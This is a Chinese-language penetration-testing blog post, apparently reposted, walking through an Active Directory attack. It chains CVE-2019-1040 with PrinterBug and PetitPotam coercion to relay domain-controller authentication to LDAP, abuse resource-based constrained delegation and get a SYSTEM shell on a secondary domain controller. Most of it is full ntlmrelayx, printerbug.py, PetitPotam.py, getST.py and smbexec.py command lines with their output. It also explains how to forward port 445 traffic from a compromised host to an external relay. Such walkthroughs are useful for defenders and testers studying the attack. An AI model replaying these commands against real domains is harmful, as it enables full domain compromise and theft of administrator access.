CVE-2019-1040配合打印機漏洞實現攻擊主域控進行資源委派攻擊輔助域控


前言:實戰中這個打法也用到了一次,這里記錄一下CVE-2019-1040攻擊方法的學習

參考文章:https://en.hackndo.com/ntlm-relay/

這里大家需要注意下,雖然本地搭建看起來能直接打,但是實際環境並不是這樣子的,我遇到的環境445是直接通外網服務器的,但是我還碰到過有個環境就是不能直接通外網的445的,這時候你需要做下445流量的重定向,先將域控發送過來的SMB請求轉發到當前被控主機的其他端口,然后再將這個端口轉發到外網的445中去,然后再將請求中繼回另一個域控,也就是中間需要再做一層轉發才可以,其他的就沒有什么需要注意的了

=2023-07-31=

今天回顧這篇文章發現上面的話語描述混亂,這里對上面的文字進行重新說明下。

這邊簡單的模擬敘述一個環境,比如目前我想打ADCS中繼

域控服務器:192.168.75.202 win
證書服務器:192.168.75.156 win
域機器(被控制):192.168.75.158
外網服務器:1.1.1.1

原因:由於運營商的原因,導致被中繼主機無法直接訪問外網的445端口

解決方法:

  • 在域機器192.168.75.158上面通過https://github.com/Arno0x/DivertTCPconn項目進行轉發流量445到8445(這里舉例8445)
  • 接着繼續在域機器192.168.75.158上面通過netsh將8445端口流量轉發到要ADCS中繼的服務器1.1.1.1
  • 接着ADCS中繼的服務器上面進行ntlmrelayx利用即可

參考文章:https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

CVE-2019-1040

該漏洞可以繞過NTLM中的MIC(消息完整性檢查),修改已經過協商簽名的身份驗證流量。

因此,可以利用printerbug或者PetitPotam,將SMB身份驗證中繼到LDAP,再使用中繼LDAP身份驗證,將受害者服務器的基於資源的委派權限授予到攻擊者控制下的計算機賬戶。

在有輔助域的內網中,利用此漏洞,就能直接獲取到域控的權限。

PrinterBug配合資源約束委派打法

Printerbug使得擁有控制域用戶/計算機的攻擊者可以指定域內的一台服務器,並使其對攻擊者選擇的目標進行身份驗證,因此可以與CVE-2019-1040結合一起使用。

當前環境信息:

192.168.4.11 DC1 主域空

192.168.4.142 DC2 輔助域控

192.168.4.141 WIN-BING-PC

192.168.4.137 中繼機器

WIN-BING-PC機器流量代理到中繼機器上

由於所有域用戶向都可以在域中添加10個計算機帳戶,因此在受控的WIN-BING-PC上,使用kk的用戶身份新建一個機器用戶hengGe

hyscan --scantype ldapscan --ldaptype addComputer --dc 192.168.4.11 --domainName hengge.com --pcname hengGe

執行ntlmrelayx.py腳本,--delegate-access選項是將中繼計算機帳戶的訪問權限委托給攻擊者,--escalate-user參數設置hengGe機器用戶的資源委派,--remove-mic參數了是去除mic驗證,如下所示

python ntlmrelayx.py -t ldap://192.168.4.11 -smb2support --remove-mic --delegate-access --escalate-user hengGe$ -debug

python printerbug.py hengge.com/kk:admin@444@192.168.4.142 192.168.4.137

root@zpchcbd-virtual-machine:~/impacket/examples# python getST.py -dc-ip 192.168.4.11 hengge.com/hengge$:123456 -spn cifs/DC2 -impersonate administrator
Impacket v0.9.25.dev1+20211027.123255.1dad8f7 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
root@zpchcbd-virtual-machine:~/impacket/examples# export KRB5CCNAME=administrator.ccache
root@zpchcbd-virtual-machine:~/impacket/examples# python smbexec.py -dc-ip 192.168.4.142 hengge.com/administrator@DC2 -k -no-pass -debug
Impacket v0.9.25.dev1+20211027.123255.1dad8f7 - Copyright 2021 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/python3/lib/python3.8/site-packages/impacket-0.9.25.dev1+20211027.123255.1dad8f7-py3.8.egg/impacket
[+] StringBinding ncacn_np:DC2[\pipe\svcctl]
[+] Using Kerberos Cache: administrator.ccache
[+] Returning cached credential for CIFS/DC2@HENGGE.COM
[+] Using TGS from cache
[+] Executing %COMSPEC% /Q /c echo cd  ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami

PetitPotam配合資源約束委派打法

PetitPotam使得擁有控制域用戶/計算機的攻擊者可以指定域內的一台服務器,並使其對攻擊者選擇的目標進行身份驗證,因此可以與CVE-2019-1040結合一起使用。

當前環境信息:

192.168.4.11 DC1 主域空

192.168.4.142 DC2 輔助域控

192.168.4.141 WIN-BING-PC

192.168.4.137 中繼機器

PetitPotam和PrinterBug調用的接口不一樣,但是都可以讓域內的服務器發起身份驗證,這里不詳細學習了,這里還是一樣演示利用過程

小知識點:在16的環境以下,默認在網絡安全:可匿名訪問的命名管道中有三個netlogon、samr、lsarpc。因此在這個環境下是可以匿名觸發的

可以看到,直接匿名同樣可以進行觸發,這種僅局限於08 12的環境 python PetitPotam.py 192.168.4.137 192.168.4.142

16的環境就需要一個域用戶來進行觸發了 python PetitPotam.py -u kk -p admin@444 -d hengge.com 192.168.4.137 192.168.4.142

同樣的通過s4u2self來進行相關的cifs的服務票據,然后通過smbexec來進行命令執行,我這里用windows來進行演示下

D:\ATTACK\內網滲透\impacket-master\examples>python getST.py -dc-ip 192.168.4.11 hengge.com/hengge$:123456 -spn cifs/DC2 -impersonate administrator
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache

D:\ATTACK\內網滲透\impacket-master\examples>set KRB5CCNAME=administrator.ccache

D:\ATTACK\內網滲透\impacket-master\examples>python smbexec.py -dc-ip 192.168.4.142 hengge.com/administrator@DC2 -k -no-pass -debug
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[+] Impacket Library Installation Path: D:\python38\lib\site-packages\impacket-0.9.24-py3.8.egg\impacket
[+] StringBinding ncacn_np:DC2[\pipe\svcctl]
[+] Using Kerberos Cache: administrator.ccache
[+] Returning cached credential for CIFS/DC2@HENGGE.COM
[+] Using TGS from cache
[+] Executing %COMSPEC% /Q /c echo cd  ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
[+] Executing %COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
nt authority\system


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM